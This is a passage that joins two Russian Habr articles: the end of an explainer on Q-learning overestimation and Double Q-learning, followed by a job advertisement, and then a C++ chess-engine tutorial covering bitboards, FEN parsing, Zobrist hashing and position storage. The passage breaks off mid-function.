Постоянно изменяющиеся значения — это не единственная проблема Q-обучения. Ещё одна проблема заключается в том, что прогнозы, сделанные с помощью Q-функций, оптимизированных с применением ошибки Беллмана, оказываются слишком оптимистичными. Хотя в обществе оптимизм и одобряется, слишком оптимистичные прогнозы способны довести RL-систему до состояния, когда от неё не будет никакой практической пользы. «Оптимизм», с точки зрения обучения с подкреплением, это — когда алгоритм переоценивает то, какой результат  можно получить в будущем. Если вы представляете некую компанию, полагающуюся на RL в принятии важнейших решений, это значит, что, доверяя слишком оптимистичной системе, вы рискуете нажить проблемы.
Что в Q-обучении является источником оптимизма? Как и в случае с проблемой постоянно изменяющихся значений, источником оптимизма является уравнение Беллмана. В начале обучения нейронная сеть точно не знает о том, каким будет реальное значение Q. Поэтому, когда сеть делает прогноз, для него характерна некоторая ошибка. Корень зла тут — операция max. Прогнозирование целевого значения, , всегда будет приводить к выбору самого большого значения Q, даже в том случае, если это будет неправильное значение. Для того чтобы было понятнее — рассмотрим пример.
Проблема оптимизма при Q-обучении. При использовании ошибки Беллмана Q-функция будет систематически переоценивать фактическое значение.Этот пример демонстрирует тот факт, что в ситуации неопределённости целевая Q-функция всегда будет вести себя оптимистично. Проблема заключается в систематичности этого оптимизма. Это означает, что DQN, из-за использования операции , будет делать больше ошибок из-за оптимистичных оценок, чем из-за пессимистичных. Эта постоянная тяга к оптимизму в процессе обучения быстро превратится в серьёзную ошибку.
#### Решение проблемы №2: обучать две Q-сети и использовать ту, что даёт более пессимистичные результаты
На решение этой проблемы направлен алгоритм [Double Q-learning](https://arxiv.org/abs/1509.06461). Он реализуется путём обучения двух совершенно различных и независимых Q-функций. Для нахождения параметров сети алгоритм выбирает минимальное значение из тех, что выдают две Q-функции. Две Q-сети, используемые в такой системе, можно рассматривать как ансамбль сетей. Каждая сеть отдаёт свой голос за то значение , которое она считает правильным. Побеждает голос, отданный за самое пессимистичное значение. В принципе, можно использовать не две, а N таких сетей для того чтобы получить больше голосов, но на практике для решения проблемы оптимистичных оценок достаточно и двух сетей. Вот как выглядят вычисления при использовании алгоритма Double Q-learning:
```
def compute_target_Q(target_net1, target_net2):
target_Q = minimum(target_net1, target_net2, dim=1)
return target_Q
```
При использовании этого алгоритма в системе, играющей в игры Atari, получились более консервативные результаты работы Q-функции, чем при применении обычного алгоритма DQN.
Оценки значений, полученные при использовании алгоритмов DQN (красная линия) и Double DQN. Алгоритм DQN склонен к переоцениванию значений, а Double DQN даёт более консервативные оценки. Источник — https://arxiv.org/abs/1509.06461### Итоги
Мы обсудили две проблемы обучения Q-сетей и поговорили о том, как эти проблемы можно решить. Это — лишь небольшая часть тех сложностей, с которыми можно столкнуться, обучая RL-системы. К счастью, глубокое понимание этих проблем позволяет развить интуитивное представление об RL-системах. Это помогает решать данные проблемы в системах, используемых на практике, приводя в работоспособное состояние проекты, использующие алгоритмы обучения с подкреплением.
О, а приходите к нам работать? 🤗 💰Мы в [**wunderfund.io**](http://wunderfund.io/) занимаемся [высокочастотной алготорговлей](https://en.wikipedia.org/wiki/High-frequency_trading) с 2014 года. Высокочастотная торговля — это непрерывное соревнование лучших программистов и математиков всего мира. Присоединившись к нам, вы станете частью этой увлекательной схватки.
Мы предлагаем интересные и сложные задачи по анализу данных и low latency разработке для увлеченных исследователей и программистов. Гибкий график и никакой бюрократии, решения быстро принимаются и воплощаются в жизнь.
Сейчас мы ищем плюсовиков, питонистов, дата-инженеров и мл-рисерчеров.
[Присоединяйтесь к нашей команде.](http://wunderfund.io/#join_us) | https://habr.com/ru/post/672988/ | null | ru | null |
# Шахматы на C++
Введение
--------
Не так давно я захотел написать свой шахматный движок. На удивление в Интернете нашлось не так много хороших статей на эту тему. Были статьи с довольно слабыми программами, многие из которых даже умудрялись пропускать некоторые важные правила. А были статьи с хорошими программами (некоторые из них были даже чуть лучше чем получилось у меня в итоге), но там авторы рассказывали лишь основные идеи, пропуская подробности, из-за чего написать что-то свое по таким статьям было проблематично. Поэтому после написания своей программы, я решил написать статью, дабы облегчить жизнь интересующимся в данной теме. Я не претендую на лучшую шахматную программу или на чистейший код, но эта статья будет хорошим и легким началом для тех, кто хочет написать что-то свое.
Битборды или битовые доски
--------------------------
Существует довольно удобная система представления доски, называемая битбордами или битовыми досками, если по-русски. Идея битбордов строится на замечательном совпадении: шахматная доска содержит 64 клетки, когда как современные компьютеры умеют невероятно быстро работать с 64 битовыми числами. Таким образом мы можем использовать 12 таких битбордов для хранения всех фигур. Каждый такой битборд будет хранить какую-то фигуру (или пешку), например - один битборд отвечает за черных коней, другой - за белые пешки, третий - за черного короля.
Основная причина выбора битбордов, а не массива на 64 клетки - высокая скорость и, как, это не странно, удобность. Например, нам надо проверить является ли пешка проходной. Проходная пешка, согласно Википедии, это
> [пешка](https://ru.wikipedia.org/wiki/%D0%9F%D0%B5%D1%88%D0%BA%D0%B0), на одной вертикали перед которой отсутствуют пешки противника, а на
> соседних вертикалях или нет пешек противника или они не держат под боем
> поля, через которые пешка должна пройти до поля [превращения](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B5%D0%B2%D1%80%D0%B0%D1%89%D0%B5%D0%BD%D0%B8%D0%B5_%D0%BF%D0%B5%D1%88%D0%BA%D0%B8).
>
>
Используя массив из 64 клеток, нам надо было бы проверять, в худшем случае, целых 18 клеток для каждой пешки, чтобы сказать какие являются проходными, а какие нет. Используя битборды, мы можем заранее рассчитать на каких клетках не должны стоять пешки противника, чтобы пешка называлась проходной, а затем использовать эти данные чтобы узнать является ли пешка проходной за одну операцию побитового "и".
Предлагаю перейти к реализации наших битбордов. На самом деле, реализовывать их не надо, ведь битборд - просто красивое название для 64 битного числа. Так что объявление битборда будет выглядеть так:
```
typedef uint64_t Bitboard;
```
Обращаю внимание, что используется именно беззнаковое число, так как в процессе программирования будут использоваться битовые сдвиги, а битовые сдвиги со знаковыми переменными работают не так как нам надо будет (ведь 1 бит из 64 при использовании знаковых переменных отвечает за знак числа и его компьютер трогать не будет).
Но с одним объявлением жить довольно грустно, нужно реализовать несколько дополнительных операций, чтобы облегчить жизнь.
```
static constexpr void set_1(Bitboard &bb, uint8_t square) {
bb = bb | (1ull << square);
}
static constexpr void set_0(Bitboard &bb, uint8_t square) {
bb = bb & (~(1ull << square));
}
static constexpr bool get_bit(Bitboard bb, uint8_t square) {
return (bb & (1ull << square));
}
```
Перед вами примитивные операции для обращения к битбордам по индексу. Нужно пытаться их избегать, так как они довольно медленные, но совсем без них никуда.
Еще нам понадобится считать количество единичных битов. Это знание нужно, например, при оценке позиции. Чтобы узнать насколько хороша позиция надо, как минимум, узнать сколько фигур у белых и сколько фигур у черных, а для этого надо их посчитать.
Но как это сделать? Самое наивное что можно придумать - пройти по всем 64 битам и посчитать, но думаю, что прекрасно понятно, что это очень не эффективно. На эту тему есть [отличная статья на хабре](https://habr.com/ru/post/276957/), но подобное уже было реализовано в стандартной библиотеке, а именно в заголовке bit, так что просто воспользуемся готовой функцией:
```
static constexpr uint8_t count_1(Bitboard bb) {
return std::popcount(bb);
}
```
Помимо этого нам нужны еще две функции: поиск первого единичного бита и поиск последнего. Для этих операций придумали даже специальные инструкции в процессорах. Но я ими решил не пользоваться, так как они плохо влияют на переносимость проекта. К тому же разница в скорости между этими инструкциями и оптимизированным подходом оказалась на уровне погрешности (по крайней мере, в практических условиях). Поэтому было решено использовать оптимизированный алгоритм. Объяснять его я не буду, так как на объяснение, вероятно, уйдет столько же времени, сколько и на весь остальной движок, а это явно не то зачем сюда пришли люди, так что просто посмотрите на эту замечательную реализацию, [взятую с chessprogrammingwiki](https://www.chessprogramming.org/BitScan):
```
static constexpr std::array BitScanTable = {
0, 47, 1, 56, 48, 27, 2, 60,
57, 49, 41, 37, 28, 16, 3, 61,
54, 58, 35, 52, 50, 42, 21, 44,
38, 32, 29, 23, 17, 11, 4, 62,
46, 55, 26, 59, 40, 36, 15, 53,
34, 51, 20, 43, 31, 22, 10, 45,
25, 39, 14, 33, 19, 30, 9, 24,
13, 18, 8, 12, 7, 6, 5, 63
};
static constexpr uint8\_t bsf(Bitboard bb) {
return BitboardOperations::BitScanTable[((bb ^ (bb - 1)) \* 0x03f79d71b4cb0a89) >> 58];
}
static constexpr uint8\_t bsr(Bitboard bb) {
bb = bb | (bb >> 1);
bb = bb | (bb >> 2);
bb = bb | (bb >> 4);
bb = bb | (bb >> 8);
bb = bb | (bb >> 16);
bb = bb | (bb >> 32);
return BitboardOperations::BitScanTable[(bb \* 0x03f79d71b4cb0a89) >> 58];
}
```
Еще нам нужно заготовить битборды с заранее вычисленными столбцами и строками, поэтому напишем еще этот кусок кода:
```
namespace BitboardRows {
static consteval std::array calc\_rows() {
std::array rows{};
for (uint8\_t y = 0; y < 8; y = y + 1) {
for (uint8\_t x = 0; x < 8; x = x + 1) BitboardOperations::set\_1(rows[y], y \* 8 + x);
}
return rows;
}
static constexpr std::array Rows = BitboardRows::calc\_rows();
static consteval std::array calc\_inversion\_rows() {
std::array inversion\_rows{};
for (uint8\_t i = 0; i < 8; i = i + 1) inversion\_rows[i] = ~Rows[i];
return inversion\_rows;
}
static constexpr std::array InversionRows = BitboardRows::calc\_inversion\_rows();
}
namespace BitboardColumns {
static consteval std::array calc\_columns() {
std::array columns{};
for (uint8\_t x = 0; x < 8; x = x + 1) {
for (uint8\_t y = 0; y < 8; y = y + 1) BitboardOperations::set\_1(columns[x], y \* 8 + x);
}
return columns;
}
static constexpr std::array Columns = BitboardColumns::calc\_columns();
static consteval std::array calc\_inversion\_columns() {
std::array inversion\_columns{};
for (uint8\_t i = 0; i < 8; i = i + 1) inversion\_columns[i] = ~Columns[i];
return inversion\_columns;
}
static constexpr std::array InversionColumns = BitboardColumns::calc\_inversion\_columns();
}
```
Он супер медленный по сравнению с тем, что, вероятно, можно сделать при помощи битовых сдвигов, но это не критично, так как вычисления происходят все равно на этапе компиляции.
Хранение фигур
--------------
Из чего складывается позиция в шахматах? Из прав на рокировку, сложных правил про троекратное повторение позиции, счетчика 50 ходов и так далее, но база - это фигуры и пешки. Сейчас нужно написать структуру, которая будет хранить все фигуры и пешки. Но какие именно типы будет хранить структура? Разумеется, 12 битбордов о которых был разговор в предыдущем разделе, но этого мало. Так же стоит хранить битборды всех белых и всех черных фигур, всех фигур вообще, и битборды, обратные этим битбордам. Такие битборды могут быть составлены на основе базовых 12 битбордов и будут обновляться после обновления базовых битбордов. Но зачем они нам нужны? Например, при генерации ходов. Когда мы будем генерируем ходы, например, коня, нам нужно будет проверять содержится ли в клетке фигура того же цвета, что и конь, и если содержится - то такой ход не может быть выполнен.
Когда известно, что должна хранить структура, можно написать это в коде. Вот так это выглядит:
```
std::array, 2> \_piece\_bitboards{};
std::array \_side\_bitboards{};
std::array \_inversion\_side\_bitboards{};
Bitboard \_all;
Bitboard \_empty;
```
Для индексации по массивам битбордов нужно использовать константы. Вот они:
```
static constexpr uint8_t Pawn = 0;
static constexpr uint8_t Knight = 1;
static constexpr uint8_t Bishop = 2;
static constexpr uint8_t Rook = 3;
static constexpr uint8_t Queen = 4;
static constexpr uint8_t King = 5;
static constexpr uint8_t White = 0;
static constexpr uint8_t Black = 1;
```
Так же стоит написать функцию, превращающую белое в черное, а черное в белое. Так как белое и черное у нас отмечено как 0 и 1, то для изменения цвета достаточно вызвать логическое отрицание:
```
uint8_t Pieces::inverse(uint8_t side) {
return !side;
}
```
Еще нам понадобится возможность сравнивать наши структуры:
```
bool operator ==(Pieces left, Pieces right) {
for (uint8_t i = 0; i < 2; i = i + 1) {
for (uint8_t j = 0; j < 6; j = j + 1) {
if (left._piece_bitboards[i][j] != right._piece_bitboards[i][j]) return false;
}
}
return true;
}
```
Уже было много сказано про хранение фигур, но еще не был создан конструктор, то есть пока неизвестно как инициализировать битборды.
Если говорить о второстепенных битбордах, то их можно легко инициализировать на основе основных, но это не помогает инициализировать основные:
```
void Pieces::update_bitboards() {
this->_side_bitboards[Pieces::White] = this->_piece_bitboards[Pieces::White][Pieces::Pawn] |
this->_piece_bitboards[Pieces::White][Pieces::Knight] |
this->_piece_bitboards[Pieces::White][Pieces::Bishop] |
this->_piece_bitboards[Pieces::White][Pieces::Rook] |
this->_piece_bitboards[Pieces::White][Pieces::Queen] |
this->_piece_bitboards[Pieces::White][Pieces::King];
this->_side_bitboards[Pieces::Black] = this->_piece_bitboards[Pieces::Black][Pieces::Pawn] |
this->_piece_bitboards[Pieces::Black][Pieces::Knight] |
this->_piece_bitboards[Pieces::Black][Pieces::Bishop] |
this->_piece_bitboards[Pieces::Black][Pieces::Rook] |
this->_piece_bitboards[Pieces::Black][Pieces::Queen] |
this->_piece_bitboards[Pieces::Black][Pieces::King];
this->_inversion_side_bitboards[Pieces::White] = ~this->_side_bitboards[Pieces::White];
this->_inversion_side_bitboards[Pieces::Black] = ~this->_side_bitboards[Pieces::Black];
this->_all = this->_side_bitboards[Pieces::White] | this->_side_bitboards[Pieces::Black];
this->_empty = ~this->_all;
}
```
На самом деле инициализировать основные можно довольно легко при помощи операции установки единичного бита, которая был реализована в предыдущем разделе. Мы просто проходим по доске и, согласно шахматным правилам, расставляем фигуры. Производительность тут особо неважна, так как подобный конструктор вызывается крайне редко, но существует более хороший способ сделать это, а именно сделать поддержку нотации шотландского шахматиста, Форсайта Эдвардса, или FEN нотации (англ. *Forsyth–Edwards Notation).*
Идея очень проста. Сначала идет описания фигур на последней строке (та, на которой стоят фигуры черных в обычной расстановке). Каждой фигура обозначается первой буквой из ее английской записи, за исключением коня: он обозначается второй буквой, так как буква k уже занята королем. Причем если фигура черная, то она стоит в маленьком регистре, а если белая - то в большом. Если клетка пуста, то ставится единичка. Если несколько клеток подряд пусты, то цифра, отражающая сколько клеток пусто подряд. После того как последняя строка была описана ставится разделитель **/** и идет информация о строке ниже. Так происходит пока все строки не будут описаны. Ниже есть пару примеров, чтобы было понятнее.
| | |
| --- | --- |
| Стандартная позиция | rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR |
| После хода e2e4 | rnbqkbnr/pppppppp/8/8/4P3/8/PPPP1PPP/RNBQKBNR |
| После хода d7d5 | rnbqkbnr/ppp1pppp/8/3p4/4P3/8/PPPP1PPP/RNBQKBNR |
Все очень просто. Я немного обманул и это не все про FEN нотацию, там есть еще часть показывающая номер хода, права на рокировку, битое поле и так далее, но нам это не понадобится.
Зная это, можно написать такой вот код инициализирующий все битборды при помощи FEN строки:
```
Pieces::Pieces(const std::string& short_fen) {
uint8_t x = 0;
uint8_t y = 7;
uint8_t side;
for (auto buff : short_fen) {
if (buff == '/') {
x = 0;
y = y - 1;
}
else if (std::isdigit(buff)) {
x = x + buff - '0';
}
else {
if (std::isupper(buff)) {
buff = std::tolower(buff);
side = Pieces::White;
}
else side = Pieces::Black;
switch (buff) {
case 'p': BitboardOperations::set_1(this->_piece_bitboards[side][Pieces::Pawn], y * 8 + x); break;
case 'n': BitboardOperations::set_1(this->_piece_bitboards[side][Pieces::Knight], y * 8 + x); break;
case 'b': BitboardOperations::set_1(this->_piece_bitboards[side][Pieces::Bishop], y * 8 + x); break;
case 'r': BitboardOperations::set_1(this->_piece_bitboards[side][Pieces::Rook], y * 8 + x); break;
case 'q': BitboardOperations::set_1(this->_piece_bitboards[side][Pieces::Queen], y * 8 + x); break;
case 'k': BitboardOperations::set_1(this->_piece_bitboards[side][Pieces::King], y * 8 + x); break;
}
x = x + 1;
}
}
this->update_bitboards();
}
```
Чтобы проверить, что все правильно можно написать такой вот оператор вывода:
```
std::ostream &operator<<(std::ostream &ostream, Pieces pieces) {
for (int8_t y = 7; y >= 0; y = y - 1) {
for (uint8_t x = 0; x < 8; x = x + 1) {
ostream << "| ";
if (BitboardOperations::get_bit(pieces._piece_bitboards[Pieces::White][Pieces::Pawn], y * 8 + x)) ostream << "♙";
else if (BitboardOperations::get_bit(pieces._piece_bitboards[Pieces::White][Pieces::Knight], y * 8 + x)) ostream << "♘";
else if (BitboardOperations::get_bit(pieces._piece_bitboards[Pieces::White][Pieces::Bishop], y * 8 + x)) ostream << "♗";
else if (BitboardOperations::get_bit(pieces._piece_bitboards[Pieces::White][Pieces::Rook], y * 8 + x)) ostream << "♖";
else if (BitboardOperations::get_bit(pieces._piece_bitboards[Pieces::White][Pieces::Queen], y * 8 + x)) ostream << "♕";
else if (BitboardOperations::get_bit(pieces._piece_bitboards[Pieces::White][Pieces::King], y * 8 + x)) ostream << "♔";
else if (BitboardOperations::get_bit(pieces._piece_bitboards[Pieces::Black][Pieces::Pawn], y * 8 + x)) ostream << "♟";
else if (BitboardOperations::get_bit(pieces._piece_bitboards[Pieces::Black][Pieces::Knight], y * 8 + x)) ostream << "♞";
else if (BitboardOperations::get_bit(pieces._piece_bitboards[Pieces::Black][Pieces::Bishop], y * 8 + x)) ostream << "♝";
else if (BitboardOperations::get_bit(pieces._piece_bitboards[Pieces::Black][Pieces::Rook], y * 8 + x)) ostream << "♜";
else if (BitboardOperations::get_bit(pieces._piece_bitboards[Pieces::Black][Pieces::Queen], y * 8 + x)) ostream << "♛";
else if (BitboardOperations::get_bit(pieces._piece_bitboards[Pieces::Black][Pieces::King], y * 8 + x)) ostream << "♚";
else ostream << " ";
ostream << " ";
}
ostream << "|\n";
}
return ostream;
}
```
Zobrist хеширование
-------------------
Часто нужно проверять одинаковы ли позиции (самое очевидно - правило троекратного повторения позиции, в будущем это понадобится нам еще для одной вещи). Это можно сделать используя структуру из предыдущего раздела, но для этого потребуется 12 операций сравнения, что дорого. Вместо этого можно хешировать позицию и хранить ее не в 12 64 битных числах, а в 1 и сравнивать не за 12 операций сравнения, а за 1. Разумеется нельзя сжать битборды в 12 раз, даже учитывая факт, что по памяти они не самые оптимальные, но мы можем это сделать если согласится с некоторыми рисками.
Итак, что нам нужно. Нам нужна функция, позволяющая сжимать позицию в одно число. Такая функция есть и называется она Zobrist хешированием, в честь Альберт Линдси Зобриста.
Идея в следующем. Нам надо заготовить константу для каждой фигуры, находящейся в каждой клетке доски. Итоге нам понадобится 12 \* 64 = 768 констант, плюс несколько специальных констант для прав на рокировку и право хода (чтобы позиции с одинаковыми фигурами на доске, но с разными правами на ход или на рокировку давали разный хеш).
Это я и сделал. Я написал небольшой ГПСЧ работающий во времени компиляции для генерации случайных констант. Получилось вот что:
```
#include
#include
#pragma once
namespace ZobristHashConsteval {
namespace PRNG {
static constexpr uint64\_t Seed = 0x98f107;
static constexpr uint64\_t Multiplier = 0x71abc9;
static constexpr uint64\_t Summand = 0xff1b3f;
}
static consteval uint64\_t next\_random(uint64\_t previous) {
return ZobristHashConsteval::PRNG::Multiplier \* previous + ZobristHashConsteval::PRNG::Summand;
}
static consteval std::array, 2>, 64> calc\_constants() {
std::array, 2>, 64> constants{};
uint64\_t previous = ZobristHashConsteval::PRNG::Seed;
for (uint8\_t square = 0; square < 64; square = square + 1) {
for (uint8\_t side = 0; side < 2; side = side + 1) {
for (uint8\_t type = 0; type < 6; type = type + 1) {
previous = ZobristHashConsteval::next\_random(previous);
constants[square][side][type] = previous;
}
}
}
return constants;
}
static constexpr std::array, 2>, 64> Constants = calc\_constants();
static constexpr uint64\_t BlackMove = ZobristHashConsteval::next\_random(ZobristHashConsteval::Constants[63][1][5]);
static constexpr uint64\_t WhiteLongCastling = ZobristHashConsteval::next\_random(ZobristHashConsteval::BlackMove);
static constexpr uint64\_t WhiteShortCastling = ZobristHashConsteval::next\_random(ZobristHashConsteval::WhiteLongCastling);
static constexpr uint64\_t BlackLongCastling = ZobristHashConsteval::next\_random(ZobristHashConsteval::WhiteShortCastling);
static constexpr uint64\_t BlackShortCastling = ZobristHashConsteval::next\_random(ZobristHashConsteval::BlackLongCastling);
}
```
Используя эти константы, можно посчитать хеш текущей позиции при помощи применения XOR между всеми константами и нулем. Википедия дает такой псевдокод:
```
function hash(board):
h := 0
if is_black_turn(board):
h := h XOR table.black_to_move
for i from 1 to 64: # loop over the board positions
if board[i] ≠ empty:
j := the piece at board[i], as listed in the constant indices, above
h := h XOR table[i][j]
return h
```
Получается чтобы проверить равны ли позиции нам надо пройтись по всем клеткам, посчитать хеш и сравнить хеши, вместо того чтобы при проходе по всем клеткам сравнивать две позиции напрямую? Звучит как бред. И если бы это работало так на самом деле, то это действительно было бы бредом, но у такого хеширования есть замечательно свойство, делающее его очень эффективным.
Например, у нас есть позиция с двумя королями и пешкой. У нас известен ее хеш. Он получился так:
```
0 ^ WhiteKingOnD1 ^ BlackKingOnE7 ^ WhitePawnOnC4
```
Теперь мы хотим добавить к этой позиции белого коня, стоящего на клетке C5. И если мы выполним XOR с текущим хешом и константой для белого коня на C5, то получится тот же самый хеш, что получился бы если бы мы посчитали его заново после добавления коня.
Другой пример. Мы хотим убрать белую пешку, стоящую на C4 из нашего хеша. Если мы выполним XOR с текущим хешом и константой этой белой пешки, стоящей на C4, то получится это:
```
0 ^ WhiteKingOnD1 ^ BlackKingOnE7 ^ WhitePawnOnC4 ^ WhitePawnOnC4
```
После чего константы для белых пешек на C4 сократятся, так как XOR обладает самообратимостью, то есть
```
a ^ a = 0
```
Получается, и чтобы добавить фигуру, и чтобы ее удалить из хеша, надо просто сделать XOR с текущим хешом и ключом этой фигуры на нужной позиции.
С флагами рокировки и хода все аналогично, для инверсии флага просто нужно выполнять XOR с существующим ключом и флагом.
Используя это знание и созданные константы можно легко реализовать структуру Zobrist хеша:
```
#include "ZobristHash.hpp"
ZobristHash::ZobristHash() = default;
ZobristHash::ZobristHash(Pieces pieces, bool black_move, bool w_l_castling, bool w_s_castling, bool b_l_castling, bool b_s_castling) {
this->_hash = 0;
if (black_move) this->invert_move();
if (w_l_castling) this->invert_w_l_castling();
if (w_s_castling) this->invert_w_s_castling();
if (b_l_castling) this->invert_b_l_castling();
if (b_s_castling) this->invert_b_s_castling();
uint8_t side;
for (uint8_t square = 0; square < 64; square = square + 1) {
if (BitboardOperations::get_bit(pieces._side_bitboards[Pieces::White], square)) side = Pieces::White;
else if (BitboardOperations::get_bit(pieces._side_bitboards[Pieces::Black], square)) side = Pieces::Black;
else continue;
for (uint8_t type = 0; type < 6; type = type + 1) {
if (BitboardOperations::get_bit(pieces._piece_bitboards[side][type], square)) {
this->invert_piece(square, type, side);
break;
}
}
}
}
bool operator ==(ZobristHash left, ZobristHash right) {
return (left._hash == right._hash);
}
bool operator <(ZobristHash left, ZobristHash right) {
return (left._hash < right._hash);
}
void ZobristHash::invert_piece(uint8_t square, uint8_t type, uint8_t side) {
this->_hash = this->_hash ^ ZobristHashConsteval::Constants[square][side][type];
}
void ZobristHash::invert_move() {
this->_hash = this->_hash ^ ZobristHashConsteval::BlackMove;
}
void ZobristHash::invert_w_l_castling() {
this->_hash = this->_hash ^ ZobristHashConsteval::WhiteLongCastling;
}
void ZobristHash::invert_w_s_castling() {
this->_hash = this->_hash ^ ZobristHashConsteval::WhiteShortCastling;
}
void ZobristHash::invert_b_l_castling() {
this->_hash = this->_hash ^ ZobristHashConsteval::BlackLongCastling;
}
void ZobristHash::invert_b_s_castling() {
this->_hash = this->_hash ^ ZobristHashConsteval::BlackShortCastling;
}
```
Троекратное повторение позиции
------------------------------
В шахматах существует правило, называемое троекратным повторением позиции. Правило заключается в том, что если одна и та же позиция встречается трижды, то фиксируется ничья. Используя хеш функцию из предыдущей части, можно легко реализовать это правило.
Мы будем хранить вектор из Zobrist хешей, пополняющихся после каждого хода, а при запросе на количество повторений считать сколько есть копий последнего добавленного хеша. Это звучит очень не эффективно, но на самом деле в процессе игры можно очень часто очищать вектор, так как есть необратимые ходы. Если произошло движение пешки или взятие, то это уже нельзя отменить. Соответственно не может возникнуть никаких совпадений с позициями до продвижения пешки или взятия. Так что если происходит продвижение пешки или взятие можно полностью очистить весь вектор.
Вот полностью класс:
```
#include
#include "ZobristHash.hpp"
#pragma once
class RepetitionHistory {
public:
RepetitionHistory();
void add\_position(ZobristHash hash);
void clear();
uint8\_t get\_repetition\_number(ZobristHash hash);
private:
std::vector \_hashes;
};
```
```
#include "RepetitionHistory.hpp"
RepetitionHistory::RepetitionHistory() = default;
void RepetitionHistory::add_position(ZobristHash hash) {
this->_hashes.push_back(hash);
}
void RepetitionHistory::clear() {
this->_hashes.clear();
}
uint8_t RepetitionHistory::get_repetition_number(ZobristHash hash) {
uint8_t ctr = 0;
for (auto hash1 : this->_hashes) if (hash == hash1) ctr = ctr + 1;
return ctr;
}
```
Хранение хода
-------------
Нам нужна структура, позволяющая хранить ход. Минимальное требование к такой структуре: она должна хранить информацию из какой клетки и куда, а также флаг хода со специальной информацией (например - информация о рокировках или в какую фигуру превращается пешка после продвижения). Я решил пойти дальше и хранить еще информацию о том какая фигура двигалась и какая фигура были съедена (если была). Это нужно для того, чтобы при применении хода не нужно было искать на каком битборде нужно убирать фигуру, а на какой ставить. Кто-то может возразить, что в любом случае это придется искать, просто не в функции применения хода, а в генераторе ходов, но он будет не совсем прав. При генерации ходов мы всегда знаем какая фигура двигалась, а иногда - какую съели. Таким образом мы меньше времени тратим на бессмысленный поиск по битбордам.
Вот заголовок структуры (саму реализацию показывать нет смысла). Обращу внимание только на то, что если защитника нет (то есть того, кого съели), то в переменную мы будем класть максимальное значение uint8\_t, то есть 255.
```
#include
#pragma once
struct Move {
Move();
Move(uint8\_t from, uint8\_t to, uint8\_t attacker\_type, uint8\_t attacker\_side, uint8\_t defender\_type, uint8\_t defender\_side, uint8\_t flag = Move::Flag::Default);
friend bool operator ==(Move left, Move right);
uint8\_t \_from;
uint8\_t \_to;
uint8\_t \_attacker\_type;
uint8\_t \_attacker\_side;
uint8\_t \_defender\_type;
uint8\_t \_defender\_side;
uint8\_t \_flag;
struct Flag {
static constexpr uint8\_t Default = 0;
static constexpr uint8\_t PawnLongMove = 1;
static constexpr uint8\_t EnPassantCapture = 2;
static constexpr uint8\_t WhiteLongCastling = 3;
static constexpr uint8\_t WhiteShortCastling = 4;
static constexpr uint8\_t BlackLongCastling = 5;
static constexpr uint8\_t BlackShortCastling = 6;
static constexpr uint8\_t PromoteToKnight = 7;
static constexpr uint8\_t PromoteToBishop = 8;
static constexpr uint8\_t PromoteToRook = 9;
static constexpr uint8\_t PromoteToQueen = 10;
};
};
```
Хранение позиции
----------------
После всего этого можно создать класс позиции. Это последний этап в представлении доски.
Что должна хранить позиция?
Во-первых, фигуры. Для них мы уже написали структуру, так что об этом беспокоится не нужно.
Во-вторых, битую клетку. Это нужно для реализации правила взятия на проходе. Если такой клетки нет, то в переменной будет лежать 255. как и в случае со структурой хода.
В-третьих, права на рокировку. Без комментариев.
В-четвертых, переменные, отражающие была ли сделана рокировка. Это не совсем то, что предыдущий пункт, так как права на рокировку можно потерять не сделав ее, а тут мы храним информацию о том была ли она сделана. Это знание поможет в разработке ИИ.
В-пятых, счетчик ходов. Это просто float переменная, добавляющая по 0.5 за каждый ход. Если переменная круглая, то ход белых. Если у нее есть дробная часть, то ход черных.
В-шестых, Zobrist хеш позиции. Структуру Zobrist хеша мы уже написали, об этом беспокоится не нужно. Главное, не забывать обновлять его после изменений в позиции.
В-седьмых, счетчик 50 ходов. Он будет такой же float переменной как и счетчик ходов, только будет обнуляться после продвижения пешки или взятия.
В-восьмых, история повторений для реализации правило троекратного повторения позиции. Класс для этого правила мы уже реализовали, остается только очищать его после продвижения пешки или взятия.
Этого достаточно. Вот как в коде выглядит все то, что я написал сверху:
```
Pieces _pieces;
uint8_t _en_passant;
bool _w_l_castling;
bool _w_s_castling;
bool _b_l_castling;
bool _b_s_castling;
bool _white_castling_happened;
bool _black_castling_happened;
float _move_ctr;
ZobristHash _hash;
float _fifty_moves_ctr;
RepetitionHistory _repetition_history;
```
Теперь нам надо научится заполнять все это многообразие при помощи той же FEN строки и пары специальных переменных, отражающих права на рокировку. Выглядит это вот так:
```
Position::Position(const std::string& short_fen, uint8_t en_passant, bool w_l_castling, bool w_s_castling, bool b_l_castling, bool b_s_castling, float move_ctr) {
this->_pieces = {short_fen};
this->_en_passant = en_passant;
this->_w_l_castling = w_l_castling;
this->_w_s_castling = w_s_castling;
this->_b_l_castling = b_l_castling;
this->_b_s_castling = b_s_castling;
this->_white_castling_happened = false;
this->_black_castling_happened = false;
this->_move_ctr = move_ctr;
this->_hash = {this->_pieces, (this->_move_ctr - std::floor(this->_move_ctr) > 1e-4), this->_w_l_castling, this->_w_s_castling, this->_b_l_castling, this->_b_s_castling};
this->_repetition_history.add_position(this->_hash);
this->_fifty_moves_ctr = 0;
}
```
Когда мы умеем хранить позиции, нам надо научится применять ходы. Однако просто взять и написать функцию нельзя, так как почти каждое действие требует обновление Zobrist хеша. В связи с этим было решено написать маленькие приватные методы, обновляющие переменные внутри позиции и, при необходимости, Zobrist хеш. Вот они все:
```
void Position::_add_piece(uint8_t square, uint8_t type, uint8_t side) {
if (!BitboardOperations::get_bit(this->_pieces._piece_bitboards[side][type], square)) {
BitboardOperations::set_1(this->_pieces._piece_bitboards[side][type], square);
this->_hash.invert_piece(square, type, side);
}
}
void Position::_remove_piece(uint8_t square, uint8_t type, uint8_t side) {
if (BitboardOperations::get_bit(this->_pieces._piece_bitboards[side][type], square)) {
BitboardOperations::set_0(this->_pieces._piece_bitboards[side][type], square);
this->_hash.invert_piece(square, type, side);
}
}
void Position::_change_en_passant(uint8_t en_passant) {
this->_en_passant = en_passant;
}
void Position::_remove_w_l_castling() {
if (this->_w_l_castling) {
this->_w_l_castling = false;
this->_hash.invert_w_l_castling();
}
}
void Position::_remove_w_s_castling() {
if (this->_w_s_castling) {
this->_w_s_castling = false;
this->_hash.invert_w_s_castling();
}
}
void Position::_remove_b_l_castling() {
if (this->_b_l_castling) {
this->_b_l_castling = false;
this->_hash.invert_b_l_castling();
}
}
void Position::_remove_b_s_castling() {
if (this->_b_s_castling) {
this->_b_s_castling = false;
